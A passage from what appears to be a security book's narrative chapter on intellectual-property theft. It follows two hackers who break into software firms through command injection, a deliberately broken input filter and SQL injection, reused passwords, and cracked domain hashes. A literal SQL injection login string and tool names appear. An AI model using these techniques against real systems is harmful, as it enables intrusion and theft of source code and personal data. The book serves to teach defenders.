            "text": "In this example, the information entered into the form is post-appended\nto the traceroute command by the CGI script. The first part (up to the\n“&” symbol) tells the program to do a traceroute command to itself\n(which is useless), and redirect the output to nul, which causes the out-\nput to be “dropped in the bit bucket” (that is, to go nowhere). Once the\nprogram has executed this first command, the “&&” symbols indicate\nthere is another shell command to be executed. In this case, it’s a com-\nmand to display the contents of the root directory on the C drive —\nextremely useful to the attacker because it allows him or her to execute\nany arbitrary shell commands with the privileges of the account the Web\nserver is running under.\n“It gave me all the access I needed,” Erik said. “I pretty much had\naccess to everything on the server.” \nErik got busy. He soon noticed that the company’s developers would\nput a backup of their source code on the server every night. “It was a\npile — the entire backup is about 50 megs.” He was able to execute a\nseries of commands to move any files he wanted to the root directory of\nthe Web server, and then just download them to the first machine he had\nbroken into, the backup Web server.\nCaught!\nThe CEO incident had been a close call. Apparently, the executive had\nbeen suspicious, but with his busy schedule and Erik’s increasing stealth,\nthere’d been no more alarms. However, as he delved further and further\ninto the heart of the company’s system, it became more difficult for Erik\nto maintain a low profile. What happened next is frequently the cost of\npushing a hack to the limits while maintaining a long-time presence in an\nalien system. He was starting to download the source code of the long-\nsought program, when\nAbout half way through I noticed that my download stopped. I\nlooked into the directory and the file was gone. I started looking\nat some of the log files and modified dates and I realized that this\nguy was on the server at that time looking at log files. He knew I\nwas doing something — basically, he caught me.\nWhoever had detected Erik’s presence wasted no time in quickly eras-\ning critical files. The game was up . . . or was it?\nErik disconnected and didn’t go back for a month. By now he’d been\nstruggling to get the software for many months, and you might think he\nwould have been getting exasperated. Not so, he says.\nChapter 8\nYour Intellectual Property Isn’t Safe\n163\n"
        },
        {
            "page_number": 185,
            "text": "I never get frustrated because it’s just more of a challenge. If I\ndon’t get in at first, it’s just more to the puzzle. It’s certainly not\nfrustrating. It’s a lot like a video game, how you go from level to\nlevel and challenge to challenge. It’s just part of the whole game.\nErik practices his own brand of faith — one that with enough perse-\nverance always pays off.\nIf one thing didn’t work, I’d just try something else because I\nknew there was something that would work. There is always some-\nthing that works. It’s just a matter of finding out what. \nBack into Enemy Territory\nDespite the setback, about a month later he was at it again, connecting\nto the CEO’s computer for another look at the chat log (he actually saved\nhis chat logs), to see if there were any notes about somebody reporting\nanything about being hacked. Remembering the day and exact time at\nthe company’s location that he had been spotted, Erik scanned the log.\nNo mention of a hacker or an unauthorized attempt to download. He\nbreathed a sigh of relief.\nWhat he did find instead was that he had been very lucky. At almost the\nexact same time, there’d been an emergency with one of the company’s\nclients. The IT guy had abandoned whatever else he’d been doing to deal\nwith the situation. Erik found a later entry that the guy had checked the\nlogs and run a virus scan but didn’t do anything more. “It was like he\nthought it looked suspicious. He looked a little bit into it, but couldn’t\nexplain it,” so he had just let it go.\nErik retreated and waited for more time to pass, then reentered, but\nmore cautiously, only during off-hours, when he could be pretty certain\nthat no one was around. \nPiece by piece he downloaded the entire file of the source code, bounc-\ning the transmissions through an intermediary server located in a foreign\ncountry — and for good reason, since he was doing all this from his home.\nErik described his familiarity with the company’s network in terms that\nmay sound suspiciously grandiose at first, but when you consider the\namount of time he spent ferreting the countless ins and outs of this com-\npany’s system, breaking it down one small step at a time until he knew its\nmost reclusive intimacies and quirks, the statement certainly lies within\nthe bounds of believability.\nI knew their network better than anyone there knew it. If they\nwere having problems, I could probably have fixed them for them\nThe Art of Intrusion\n164\n"
        },
        {
            "page_number": 186,
            "text": "better than they could. I mean, I seriously knew every part of their\nnetwork inside and out.\nNot There Yet\nWhat Erik now had, at last safely downloaded on his computer, was the\nsource code for the server software . . . but not yet in a form he could\nopen and study. Because the software was so large, the developer who\nstored it on the backup server had compressed it as an encrypted ZIP file.\nHe first tried a simple ZIP password-cracking program, but it failed to\nmake a dent. Time for Plan B.\nErik turned to a new and improved password cracker called PkCrack,\nwhich uses a technique called the “known plaintext attack.” Having\nknowledge of a certain amount of plaintext data that is part of the\nencrypted archive is all that’s needed to decrypt all the other files within\nthe archive. \nI opened the ZIP file and found a “logo.tif” file, so I went to their\nmain Web site and looked at all the files named “logo.tif.” I\ndownloaded them and zipped them all up and found one that\nmatched the same checksum as the one in the protected ZIP file.\nNow Erik had the protected ZIP file and an unprotected version of the\n“logo.tif” file. PkCrack took only five minutes to compare these two ver-\nsions of the same file and recover the password. With the password, he\nquickly unzipped all the files.\nAfter hundreds of long nights, Erik finally had the full source code he\nhad been hungering after. \nAs for what kept him sticking to this task for so long, Erik says: \nOh, easy, it’s all about being sexy. I like having a challenge, and\nI like not being detected. I like doing things differently, and very\nquietly. I like finding the most creative ways to do something.\nSure, uploading a script is easier; but my way was soooo much\ncooler. F___k being a script kiddie if you can avoid it — be a\nhacker.\nAnd what did he do with the software and key generator? The answer\nis that he and Robert, the hero of the following story, both follow much\nthe same routine as each other, the routine that is common among many\nof the world’s crackers. You’ll find the story in the section called\n“Sharing: A Cracker’s World” near the end of the chapter. \nChapter 8\nYour Intellectual Property Isn’t Safe\n165\n"
        },
        {
            "page_number": 187,
            "text": "ROBERT, THE SPAMMER’S FRIEND\nIn far away Australia there lives another of those upright gentlemen who\nare respected security professionals by day and become a black-hat hacker\nby night, honing the skills that pay their mortgage by hacking into the\nmost resilient software companies on the planet.\nBut this particular man, Robert, can’t be easily pegged into a category.\nHe seems too complex for that — one month hacking for some software\nfor his own amusement and to satisfy his need for a challenge and the\nnext month taking on a project for money that will mark him for some\npeople as what he himself terms “a dirty spammer.” Not dirty, you will\ndiscover, just because he has occasionally worked as a spammer; dirty\nbecause of the kind of spamming he has done. \n“Making money by hacking,” he says, “is quite a concept.” Which may\nbe self-justification, but he had no qualms about sharing the story with\nus. In fact, he brought it up unprompted. And made light of it by coin-\ning a term: “I guess you could say I’m a spacker — a hacker that works\nfor spammers.” \nI was contacted by a friend of mine who said, “I want to sell some\nhard-core bondage porn to thousands of people. I need to have\nmillions upon millions of email addresses of people who want\nhard-core bondage porn.” \nYou or I might have run from the suggestion. Robert “thought about it\nfor a while” and then decided to take a look at what might be involved. “I\nsearched all these hard-core bondage sites,” he says, admitting that he did\nthis despite its being “much to my girlfriend’s disgust.” He conducted the\nsearch in a perfectly straightforward way: with Google, as well as another\nsearch portal, www.copernic.com, that uses multiple search engines.\nThe results provided a working list. “The only thing I want from these\n[sites] is who likes their bondage porn, who wants to receive updates\nfrom them, who has the interest in this shit.” If Robert was going to help\ncreate spam, he had no intention of going about it “like the usual cast of\nidiots,” sending hundreds of emails to everyone and his brother whether\nthey had ever shown any interest in the subject or not. \nGetting the Mailing Lists\nMany of the bondage Web sites, Robert discovered, were using a major\napplication for managing subscription mailing lists that I’ll call\nSubscribeList. \nThe Art of Intrusion\n166\n"
        },
        {
            "page_number": 188,
            "text": "Just by using Google I had found someone who had ordered a copy\nof [SubscribeList], and had it on the Web server. I think it was a\nWeb site in Taiwan or in China. \nThe next step was even easier than he could have anticipated:\nTheir Web server was configured incorrectly. Any user could view\nthe source [code] of the software. It wasn’t the latest version of the\nsoftware, but a reasonably recent version. \nThe mistake was that someone had carelessly or accidentally left a com-\npressed archive of the source code on the document root of the Web\nserver. Robert downloaded the source.\nWith this program and names he would capture from existing sites,\nRobert figured:\nI’d be able to send out emails saying, “Come back to my site, we’re\nhaving a special on whipping and it’s half price.”\nA lot of people subscribe to these things.\nSo far, though, he had mailing-list software but still no mailing lists. \nHe sat down to study the source code of SubscribeList, and at length\ndiscovered an opportunity. The technical explanation is complicated (see\n“Insight” at the end of the chapter).\nSimilar to the way the cracker in the previous story used the “&” sym-\nbol to trick a program into executing his commands, Robert used a flaw\nin “setup.pl.” This shortcoming, called the “backticked variable injection\nflaw,” is based on the lightweight installer program, the setup.pl script,\nnot adequately validating the data passed to it. (The difference is in oper-\nating system. Erik’s method works with Windows; Robert’s with Linux.)\nA malicious attacker can send a string of data that would corrupt a\nvalue stored in a variable in such a way that the script could be tricked\ninto creating another Perl script used to execute arbitrary commands.\nThanks to this programmer oversight, an attacker could inject shell\ncommands. \nThe method fools setup.pl into thinking that the attacker has just\ninstalled SubscribeList and wants to do the initial setup. Robert would be\nable to use this trick with any company running the vulnerable version of\nthe software. How did he find a bondage company that fit the description?\nHis code, Robert says, is “a bit of a mind bender, really a bitch to\nwrite.” When his script had finished, it would clean up after itself and\nChapter 8\nYour Intellectual Property Isn’t Safe\n167\n"
        },
        {
            "page_number": 189,
            "text": "then set all the configuration variables back so no one could tell anything\nhappened. “And as far as I’m aware, no one has caught on to it.”\nNo thoughtful hacker would have these files sent directly to his or her\nown address in a way that could be traced.\nI’m a really big fan of the Web. I love the Web. The Web is anony-\nmous. You can go on from an Internet café and no one knows who\nthe f___k you are. My stuff is bounced around the world a few\ntimes and it’s not direct connections. It’s harder to trace, and\nthere will only be maybe one or two lines in the [company’s] log file. \nPorn Payoff\nRobert had discovered that many of the bondage sites use the same mailing-\nlist software. With his modified program, he targeted their sites and grabbed\ntheir mailing lists, which he then turned over to his friend, the spammer.\nRobert wanted it understood that “I wasn’t spamming people directly.” \nThe campaign was incredibly effective. When you’re spamming directly\nto people who you already know “really like this shit” (to use Robert’s\ncolorful phrase), the rate of response was record-breaking. \nYou’re usually looking at [a response rate of] 0.1, 0.2 percent.\n[We were] getting 30 percent at least by targeting. Like 30 to 40\npercent of people would buy. For a spamming rate, that is\nabsolutely phenomenal.\nAll up, I must have brought in probably like about $45, $50,000\nU.S., and I got back a third of that.\nBehind the success of this sordid story lies the success of Robert’s effort\nin gathering the mailing lists of people willing to shell out money for this\nkind of material. If the numbers he reported to us are accurate, it’s a\nsorry measure of the world we live in.\n“I got,” he said, “between 10 and 15 million names.” \nROBERT THE MAN\nDespite that episode, Robert insists that “I am not some dirty horrible\nspammer; I’m a very upstanding person.” The rest of his story supports\nthe claim. He works in security for a “very religious and upstanding \ncompany” and takes on outside projects as an independent security con-\nsultant. And he’s a published author on security topics. \nThe Art of Intrusion\n168\n"
        },
        {
            "page_number": 190,
            "text": "I found him particularly verbal in expressing his attitudes about hacking:\nI really like to be challenged against a system and I like to fight\nthe system on a configurational level and a social level, rather\nthan a strictly technical level — a social level, meaning getting\ninto [the head of] the person behind the computer.\nRobert has a long background in hacking. He mentioned a friend (an\nAmerican hacker whose name he didn’t want revealed) who used to have\na game with Robert. \nWe both used to [hack into] a lot of development companies, like\npeople who were creating Active X controls and Delphi controls,\nand little cool tools for programming. We would find a magazine\non the subject and there’s an ad on every other page of these new\nproducts. And we would see if we could find someone we hadn’t\nhacked. Especially games. \nHe has “wandered around” the internal networks of major gaming soft-\nware companies and gotten source code to a few of their games. \nEventually, he and his hacker buddy began to find that “we had actu-\nally broken into practically everyone who was advertising every new\nproduct out there. ‘We’ve done this one, this one, this one . . . We’re still\ntrying to get into here, but got this one.’”\nStill, for Robert, one area held special interest: software products for\nwhat’s called “video post production” — in particular, the products used\nto create the animation used in movies. \nI love the mess involved in what these people do. There’s some\ngeniuses that make these things. I like to read it and know how it\nworks, because it seems so alien when you look at it. I mean when\nyou watch [the animated movie] on TV you probably go, “Holy\nf___k, this is really something.” \nWhat he finds especially intriguing is looking at the code, at a pure\nmathematical level — “the equations and the functions, and the mindset\nbehind the people that create these things. It’s phenomenal.”\nAll of this set him up for what he sees as his most memorable hack.\nSoftware Temptation\nIn 2003, Robert was reading through a product announcement in a soft-\nware magazine and came upon a new product for doing “digital video\nChapter 8\nYour Intellectual Property Isn’t Safe\n169\n"
        },
        {
            "page_number": 191,
            "text": "effects, cool lighting stuff — making light look real, with textures [that]\nwere amazingly smooth.”\nThe whole selling point of this product was that it was used on a recent\nmajor animated feature film — one of the designing, modeling, and ren-\ndering tools they used. \nWhen I heard about it, it looked really cool. And some people from\nthe circles I’ve been around, like on the Net, had been very interested\nin the software. A lot of people wanted to get their hands on it. \nEveryone wants to get this application because it’s hard to get, it’s\nreally expensive — as in maybe two or three hundred thousand.\nIt’s used by, like, Industrial Light and Magic, and there’s proba-\nbly, like, only four or five other companies in the world that have\nbought it.\nAnyway, I was really keen on getting this software and I set out\non casing the company. I’ll just call them Company X. Is that\nokay? Company X was fully based in America and their entire\nnetwork was centralized.\nHis goal wasn’t just to get the software for himself but to share it where\nit would be available to millions of Internet users worldwide.\nHe found the company had “a firewall out front, and a tight little net-\nwork. They had a lot of servers, and multiple Web servers. I guessed from\nthis that they probably had maybe 100, 150 employees.”\nDiscovering Server Names\nRobert has a standard strategy when he’s trying to break into a corporate\nnetwork that’s of significant size. He “goes after how they take care of\nthe need for people to be able to get into their network. A large company\nhas a much greater challenge in this than a small one. If you have five\nemployees, you can send them an email, right? Or, you can see them all\nand say, ‘This is how you connect to your server from home, this is how\nyou get your email from home.’”\nBut a large company will usually have a help desk or some external\nresource that people can go to when they’re having a computer problem.\nRobert figures that a company with a significant number of employees\nwill have a set of instructions somewhere — most likely from its help\ndesk — explaining how to access files and email remotely. If he could find\nthose instructions, he could probably learn the steps for getting onto the\nnetwork from outside, such as what software is needed to connect to the\ninternal network over the corporate VPN. In particular, he was hoping to\nThe Art of Intrusion\n170\n"
        },
        {
            "page_number": 192,
            "text": "find out what access points the developers used to access the develop-\nment system from outside, because they would have access to the much-\ncoveted source code.\nSo his challenge at this stage was to find his way to the help desk.\nI started using a little utility called the Network Mapper, some-\nthing I wrote myself. It basically goes sequentially through a list\nof typical host names. I use it as my sequential DNS resolver.\nThe Network Mapper identifies hosts and provides the IP address for\neach. Robert’s short Perl script simply went down a list of commonly\nused hostnames and checked to see if it existed with the target company’s\ndomain. So, for an attack on a company called “digitaltoes,” the script\nmight look for web.digitaltoes.com, mail.digitaltoes.com, and so on.\nThis exercise had the potential of uncovering hidden IP addresses or net-\nwork blocks that were not easily identified. On running the script, he\nmight get back results looking like the following:\nbeta.digitaltoes.com\nIP Address #1:63.149.163.41...\nftp.digitaltoes.com\nIP Address #1:63.149.163.36...\nintranet.digitaltoes.com\nIP Address #1:65.115.201.138...\nmail.digitaltoes.com\nIP Address #1:63.149.163.42...\nwww.digitaltoes.com\nIP Address #1:63.149.163.36...\nThis would reveal that our fictitious company “digitaltoes” has some\nservers in the 63.149 net block, but I’d put my money on the server in\nthe 65.115 net block with the name “intranet” as being their internal\nnetwork. \nA Little Help from helpdesk.exe\nAmong the servers Robert discovered with his Network Mapper was the\none he had hoped for: helpdesk.companyX.com. When he tried to go to\nthe site, though, a login dialog box appeared demanding a username and\npassword, restricting access to authorized users. \nThe helpdesk application was on a server running IIS4, an ancient ver-\nsion of Microsoft’s Internet Information Server (IIS) software, which\nRobert knew had a number of vulnerabilities. With a little luck, he might\nfind a useful one that had not been patched.\nChapter 8\nYour Intellectual Property Isn’t Safe\n171\n"
        },
        {
            "page_number": 193,
            "text": "Meanwhile he also discovered a gaping hole. Some company administra-\ntor had enabled MS FrontPage in such a way that anyone could upload or\ndownload files from the root directory where the Web server files are stored.\n(I’m familiar with the problem. One of the Web servers at my security\nstartup company was hacked using a similar vulnerability because the vol-\nunteer system administrator who was giving me a hand did not properly\nconfigure the system. Fortunately, the server was a standalone system, on\nits own network segment.) \nRecognizing that this mistake gave him the ability to download and\nupload files to the server, he began looking at how the server was set up.\nThe most common thread with some dumb IIS servers is that\n[whoever set it up] enabled FrontPage authoring. \nAnd, in fact, this site had a weakness. Deploying Microsoft FrontPage\n(an application program used to easily create and edit HTML documents)\nwithout setting the proper file permissions is sometimes an oversight by a\nsystem administrator, sometimes intentionally configured this way for\nconvenience. In this case, it meant anyone could not only read files but\ncould also upload files to any unprotected directory. Robert was stoked.\nI was looking at it and going, “Holy shit, I can read or edit any\npages on the server without needing a username or password.”\nSo I was able to log in and look at the root of the Web server.\nRobert thinks that most hackers miss an opportunity here. \nThe thing is that when people set up a scanner network for a\nserver, they often don’t look for common misconfigurations with\nserver extensions like FrontPage. They look [to see what kind of\nserver it is] and say, “Well, it’s just Apache” or “It’s just IIS.”\nAnd they miss making their work much easier if FrontPage has\nbeen misconfigured.\nIt wasn’t as much of a blessing as he had expected, since “there wasn’t\nreally a whole lot on that server.” Still, he noticed that an application called\nhelpdesk.exe would come up when he accessed the site through his browser.\nThat could prove highly useful, but required a login with password. \nSo, I’m looking at it thinking how the f___k can I attack this?\nOne thing I don’t like doing is uploading some other file to a\nWeb server, because if the administrators look through their Web\nThe Art of Intrusion\n172\n"
        },
        {
            "page_number": 194,
            "text": "logs and see a thousand people going to helpdesk.exe and all of a\nsudden one guy in the South Pacific is going to two.exe or some\nother thing, that would make them think twice, right? So I try to\nstay out of the logs. \nThe helpdesk application consisted of a single executable and a\ndynamic-link library (DLL) file (files with the .DLL extension contain a\ncollection of Windows functions the application can call on). \nWith the ability to upload files to the Web root, an attacker could eas-\nily upload a simple script allowing him or her to execute commands\nthrough his or her browser. But Robert isn’t just any attacker. He prides\nhimself on being stealthy, leaving few if any traces in the Web server logs.\nInstead of just uploading a customized script, he downloaded the\nhelpdesk.exe and helpdesk.dll files to his computer to analyze how the\napplication worked, relying on some of his background experience. “I’ve\ndone a lot of reverse engineering applications and looking at things in\nassembler,” so he knew how to go about working with the compiled C\ncode and reversing most of it back to assembler. \nThe program he turned to was called IDA Pro, the Interactive\nDisassembler (sold by www.ccso.com), used, as he describes it, “by a lot\nof, like, virus companies and worm hunters, looking to decompile some-\nthing to an assembler level and read it and figure out what it’s doing.”\nHe decompiled helpdesk.exe and, approving of work performed by pro-\nfessional programmers, decided that it was “written quite well.”\nFrom the Hacker’s Bag of Tricks:\nthe “SQL Injection” Attack\nOnce he had the program decompiled, Robert examined the code to see\nwhether the helpdesk application was susceptible to “SQL injection,” an\nattack method that exploits a common programming oversight. A security-\nconscience programmer will sanitize any user query by including code\nthat, among other things, filters certain special characters such as the\napostrophe, quotation mark, and greater-than and less-than symbols.\nWithout filtering characters such as these, the door may be left open for\na malicious user to trick the application into running manipulated data-\nbase queries that may lead to a full system compromise. \nIn fact, Robert had realized that the helpdesk application had indeed\nmade the proper sanitation checks to prevent someone from using SQL\ninjection. Most hackers would have just upload an ASP script to the Web\nserver and be done with it, but Robert was more concerned with being\ncovert than exploiting a simple vulnerability to compromise his targets.\nChapter 8\nYour Intellectual Property Isn’t Safe\n173\n"
        },
        {
            "page_number": 195,
            "text": "I thought, “That’s quite fun, that’s quite cool. I’m gonna enjoy\nthis.” \nI thought to myself, “Well, I’m gonna enable SQL injection by\nscrewing up the validity check.” I found the string of where the\ninvalid characters were kept and I changed them all to, I think\nit was a space or a tilde (~) or something else that I wasn’t gonna\nbe using, but at the same time it wouldn’t affect anyone else. \nIn other words, he modified the program (using a hex editor to\n“break” the routine designed to verify user input) so that the special char-\nacters would no longer be rejected. This way, he could secretly perform\nSQL injection without changing the behavior of the application for any-\none else. Another added bonus was that the administrators would not\nlikely check the integrity of the helpdesk application, since there would\nbe no obvious signs it had been tampered with. \nRobert then sent his modified version of the helpdesk application to the\nWeb server, replacing the original version. The way some people collect\nstamps, postcards, or matchbooks from places they’ve been, hackers some-\ntimes keep not just the spoils of their break-ins but the code they used as\nwell. Robert still has a binary compiled copy of the executable he created.\nSince he was working from home (gutsy, and not recommended unless\nyou want to get busted), he uploaded his “new and improved” version of\nthe helpdesk application through a chain of proxy servers — which are\nservers that act as a mediator between a user’s computer and a computer\nhe or she wants to access). If a user makes a request for a resource from\ncomputer A, this request is directed to the proxy server, which makes the\nrequest, gets the response from computer A, and then forwards the\nresponse to the client. \nProxy servers are typically used for accessing World Wide Web resources\nfrom inside a firewall. Robert increased his security by using several proxy\nservers located in different parts of the world to lessen the likelihood that\nhe could be identified. So-called “open proxies” are commonly used like\nthis to mask the origin of a cyber attack.\nWith his modified version of the helpdesk application up and running,\nRobert connected to the targeted site using his Internet browser. When\npresented with an input form requesting username and password, he\nlaunched a basic SQL injection attack, as he had planned. Under normal\ncircumstances, once a user enters a username and password — say,\n“davids” and “z18M296q” — the application uses these inputs to gen-\nerate a SQL statement such as the following:\nselect record from users where user = ‘davids’ and password = ‘z18M296q’\nThe Art of Intrusion\n174\n"
        },
        {
            "page_number": 196,
            "text": "If the user field and the password field match the database entries, then\nthe user is logged in. That’s the way it’s supposed to work; Robert’s SQL\ninjection attack went like this: In the username field, he entered\n‘ or where password like’%--\nFor password, he entered the identical statement \n‘ or where password like’%--\nThe application used these inputs to generate a SQL statement similar\nto the following:\nselect record from users where user = ‘’ or where password\nlike ‘%’ and password = ‘’ or where password like ‘%’\nThe element or where password like % tells SQL to return the record if\nthe password is anything at all (the “%” is a wildcard). Finding that the\npassword did meet this nonsense requirement, the application then\naccepted Robert as a legitimate user, just as if he had input authentic user\ncredentials. It then logged him in with the credentials of the first person\nlisted in the user database, usually an administrator. That turned out to\nbe the case here. Robert found himself not only logged in, but logged in\nwith administrator privileges. \nFrom there, he was able to see the message of the day that an employee\nor other authorized user sees after successfully logging in. From a series\nof these messages, he gleaned information on dial-up numbers for calling\ninto the network and, in particular, hyperlinks for adding and removing\nusers from the VPN group under Windows. The company was using\nMicrosoft’s VPN services, which is set up so that employees use their\nWindows account names and passwords to sign in. And since Robert was\nlogged in to the helpdesk application as one of the administrators, this\ngave him the ability to add users to the VPN group and change user pass-\nwords for Windows accounts.\nMaking progress. Yet, so far, he was just logged in to an application as\nan administrator; that didn’t get him closer to their source code. His next\ngoal was to gain access to their internal network through their VPN\nsetup.\nJust as a test, through the helpdesk menu he tried changing the pass-\nword of what appeared to be a dormant account, and added it to the\nVPN users and administrator’s group — which meant that his activities\nwould be less likely to be noticed. He figured out some details of their\nVPN configuration, so he could then “VPN in. This is good, but it plays\na bit slowly.”\nChapter 8\nYour Intellectual Property Isn’t Safe\n175\n"
        },
        {
            "page_number": 197,
            "text": "I got in at about 1:00 a.m. their time. With me being in the\nAustralia time zone is very nice. It can be 1:00 a.m. in America,\nbut during the working day here. I wanted to go in when I was\nsure the network was empty, I didn’t want anyone logged in or\npeople to notice this. Maybe they have active reporting of everyone\nwho’s going in. I just want to be sure. \nRobert has a sense that he understands how IT and network security\npeople work, and it’s not all that different from everyone else in the\nworking world. “The only way for them to notice [my going online]\nwould have been going through the logs actively.” His view of IT and\nsecurity people isn’t very flattering. “People don’t read logs every morn-\ning. When you get to your desk, you sit down, have a coffee, read some\nWeb sites of personal interest. You don’t go in and read logs and see who\nchanged their passwords yesterday.” \nOne of the things he had noticed in his hacking efforts, Robert says, is\nthat “when you change something on a site, people will either catch it\nright away, or they won’t catch it at all. The change I made to that Web\napplication would have been noticed if they’d been running something\nlike Tripwire,” he said, referring to an application that verifies the\nintegrity of systems programs and other applications by doing a crypto-\ngraphic checksum and comparing it against a table of known values.\n“They would have noticed that the executable had changed.”\nAt that point he felt reassured, citing the now-familiar term about\n“M&M security” — hard on the outside but very soft and chewy on the\ninside. “No one really cares if someone looks around their network\nbecause you are inside the premises.” Once you’ve managed to penetrate\nthe perimeter security, you’re pretty well home free.” (The phrase means\nthat once an attacker is on the inside and using resources like any author-\nized user, it’s difficult to detect his unauthorized activity.) \nHe found that the account he hijacked (changed the password to)\nthrough the helpdesk application allowed him onto the network through\nthe Microsoft VPN service. His computer was then connected to the\ncompany’s internal network, just as if he were using a computer physi-\ncally plugged into the network at the company’s premises. \nSo far, he had been careful to do nothing that would create log entries a\nconscientious systems administrator might notice, and he was sailing free. \nOnce connected to the company’s internal network, Robert mapped\nWindows computer names to their IP addresses, finding machines with\nnames like FINANCE, BACKUP2, WEB, and HELPDESK. He mapped\nothers with people’s names, apparently the computers of individual\nemployees. About this, he reiterated a point made by others in these pages. \nThe Art of Intrusion\n176\n"
        },
        {
            "page_number": 198,
            "text": "When it came to names of the servers, someone in the company had a\nwhimsical sense of humor familiar in parts of high tech. The trend started\nat Apple Computer in its early boom days. Steve Jobs, with his creative\nstreak and his break-all-the-rules approach, decided that the conference\nrooms in the company buildings wouldn’t be called 212A or the Sixth\nFloor Conference Room or anything else so everyday and boring.\nInstead, the rooms were named after cartoon characters in one building,\nmovie stars in another, and so on. Robert found that the software com-\npany had done something similar with some of their servers, except that\nwith their connection to the animation industry, the names they chose\nincluded the names of famous animation characters. \nIt wasn’t one of the servers with a funny name that attracted him,\nthough. It was the one called BACKUP2. His search there produced a\ngem: an open network share called Johnny, where some employee had\nbacked up a lot of his or her files. This person appeared to be someone\nfeeling pretty comfortable and not very concerned about security.\nAmong the files on the directory were a copy of an Outlook personal file\nfolder, containing copies of all saved emails. (A network share refers to a\nhard drive or a part of a drive that has been intentionally configured to\nallow access or sharing of files by others.)\nThe Danger of Backing Up Data \nA common denominator in most of us is that when we want to do a\nbackup, we want to make it really easy for ourselves. If there’s enough\nspace available, we back up everything. And then we forget about it. The\nnumber of backups lying around becomes enormous. People just let\nthem build up, they gather, and nobody ever thinks about removing\nthem until the server or backup device runs out of space.\n“Often,” Robert comments, “the backup contains critical, essential,\namazing information which no one gives any thought to because it’s the\nbackup. They treat it with really low security.” (During my own younger\nhacking days, I noticed the same thing. A company would go to extreme\nlengths to protect certain data, but the backups of the same data were\ntreated as unimportant. When I was a fugitive, I worked for a law firm\nthat would leave their backup tapes in a box outside the secured com-\nputer room entrance to be picked up by an off-site storage company.\nAnyone could have stolen the tapes with little danger of being caught.)\nOn BACKUP2, he noticed a shared area where someone had backed up\nall his goodies — everything. He imagined how it had happened, and the\nstory will have a familiar ring to many: \nChapter 8\nYour Intellectual Property Isn’t Safe\n177\n"
        },
        {
            "page_number": 199,
            "text": "This guy had been in a hurry one day. He thought, “I need to back\nthis up,” so he’d done it. And, after being backed up like maybe\nthree or four months ago, it was still sitting there. \nSo, this gives me a feel for the network and really how maybe the\nsys admins worked, because this wasn’t some developer person or\nsomeone without access. This was someone who could create a net-\nwork share, but he obviously wasn’t amazingly worried about\nsecurity. \nRobert went on:\nIf he’d been anally secure like me, he would have had a password\non that share, and he maybe would have called the share some-\nthing random. And he would have removed it afterwards.\nEven better, from Robert’s perspective: “He had a copy of his Outlook\nin there as well” with all of his addresses and contacts. “I copied out the\nfile archive,” Robert says. “I retrieved his Outlook.pst file with all his\nemail, 130 or 140 megs.”\nHe logged off and spent a few hours reading the guy’s email. He\nuncovered “Public announcements, pay changes, performance reviews,\neverything about this guy. I found out quite a bit of information about\nhim — he was one of the lead sys admins on the network and he was\nresponsible for all of the Windows servers,” Robert said “And I was able\nto gain through his box who the other sys admins were and who had a\nlot of access.” It got even better:\nThe information within his email was extremely useful. I was\nable to develop a list of people who would likely have access to the\nsource code I wanted. I wrote down all their names, all the details\nI could get. Then I went around and I searched the guy’s entire\nmail file for “password,” and what I found was a couple of regis-\ntrations, one of them with some network appliance company. \nHe had set up an account on their support side using his email\naddress and a password. And he had done this for two or three\nvendors. I found the emails that had come back [from the com-\npanies] saying, “Thank you for registering your account, your\nusername is this, your password is that.” The password was\n“mypassword” for two different companies.\nSo, maybe, just maybe, it was the same one he was using at work.\nPeople are lazy, so this would definitely be worth a try.\nThe Art of Intrusion\n178\n"
        },
        {
            "page_number": 200,
            "text": "Good guess. The password did work for one of his accounts on the\ncompany server. But it wasn’t the domain administrator account that\nRobert had been hoping for, which would have allowed him access to the\nmaster accounts database, which stores every domain user’s username\nand hashed password. That database was being called on to authenticate\nusers to the entire domain. He apparently had a single username, but had\ndifferent levels of access depending on whether he logged in to the\ndomain or the local machine. Robert needed Domain Administrator\naccess to gain access to the company’s most sensitive systems, but the\nadministrator was using a different password for the Domain\nAdministrator account, one that Robert didn’t have. “That really flecked\nme off,” he complained. \nThe whole business was beginning to get more than a little frustrating.\n“But I figured that I could eventually find his password to the other\naccount just by looking around other resources.”\nThen the situation started to brighten. He found that the company was\nusing a project-management application called Visual SourceSafe and\nmanaged to get access to the external password file, which was apparently\nreadable by any user who had access to the system. Attacking the pass-\nword file with public domain password cracking software, it took “maybe\nlike a week and a half, two weeks, and I had a different password for the\nman.” He had recovered a second password for the administrator he had\nbeen bird-dogging. Time for a little celebration. This password was also\nused for the Domain Administrator account, which gave Robert access to\nall the other servers he wanted to get into.\nPassword Observations\nPasswords are very personal things, Robert says. “And how you can tell\nvery strict companies is when they give everyone a password and that\npassword’s very anal and very strict. But you can tell very relaxed com-\npanies when the default password is a day of the week, or the default pass-\nword is the name of the company or something equally mindless.”\n(Robert shared with me that at the company where he works, an\nemployee’s password is set to the day he starts. When trying to log on,\n“You can have seven attempts before the system locks you out, and, of\ncourse, you only need no more than five guesses” if you’re trying to\nbreak into someone’s account.)\nRobert found that a lot of the accounts at the company he was trying\nto compromise had a default password in the form of the following:\ncompanyname-2003\nChapter 8\nYour Intellectual Property Isn’t Safe\n179\n"
        },
        {
            "page_number": 201,
            "text": "He didn’t find any with “2002” or earlier, so it was obvious that they\nwere all changed on New Year’s Day. Ingenious password management!\nGaining Full Access\nRobert could feel himself getting closer to his goal. Armed with the sec-\nond password he had obtained for the administrator whose electronic\nidentity he had hijacked, he now had access to the password hashes of the\nentire domain. He used PwDump2 for extracting the hashes from the\nPrimary Domain Controller, and l0phtCrack III to crack most of the\npasswords.\n(The latest cool trick uses rainbow tables, which are tables of password\nhashes and their corresponding passwords. One site, http://sarcaprj.\nwayreth.eu.org/, will attempt to crack the password hash for you. You\njust submit the LAN Manager and NT hashes, and your email address.\nYou get an email back with the passwords. Robert explained, “They have\npre-generated certain hashes based on the commonly used character set\nin constructing a password, so that instead of needing lots of computing\npower, they have 18 or 20 gigabytes of pre-generated hashes and the cor-\nresponding passwords. It’s really quick for a computer to scan through\nthe pre-computed hashes to find a match, asking, ‘Are you this? Are you\nthis? Are you this? Okay — you’re this.’” A rainbow tables attack reduces\nthe cracking time to seconds.)\nWhen l0phtCrack finished, Robert had the passwords for most every\nuser in the domain. By this time, from information in the emails he had\nhijacked earlier, he had put together a list of people who had exchanged\nmessages with the systems administrator. One was from a worker who\nhad written about a server that had broken, complaining, “I’m unable to\nsave any new revisions and I can’t develop my code.” So he was obviously\na developer, which was valuable information. Robert now looked up the\ndeveloper’s username and password. \nHe dialed in and signed 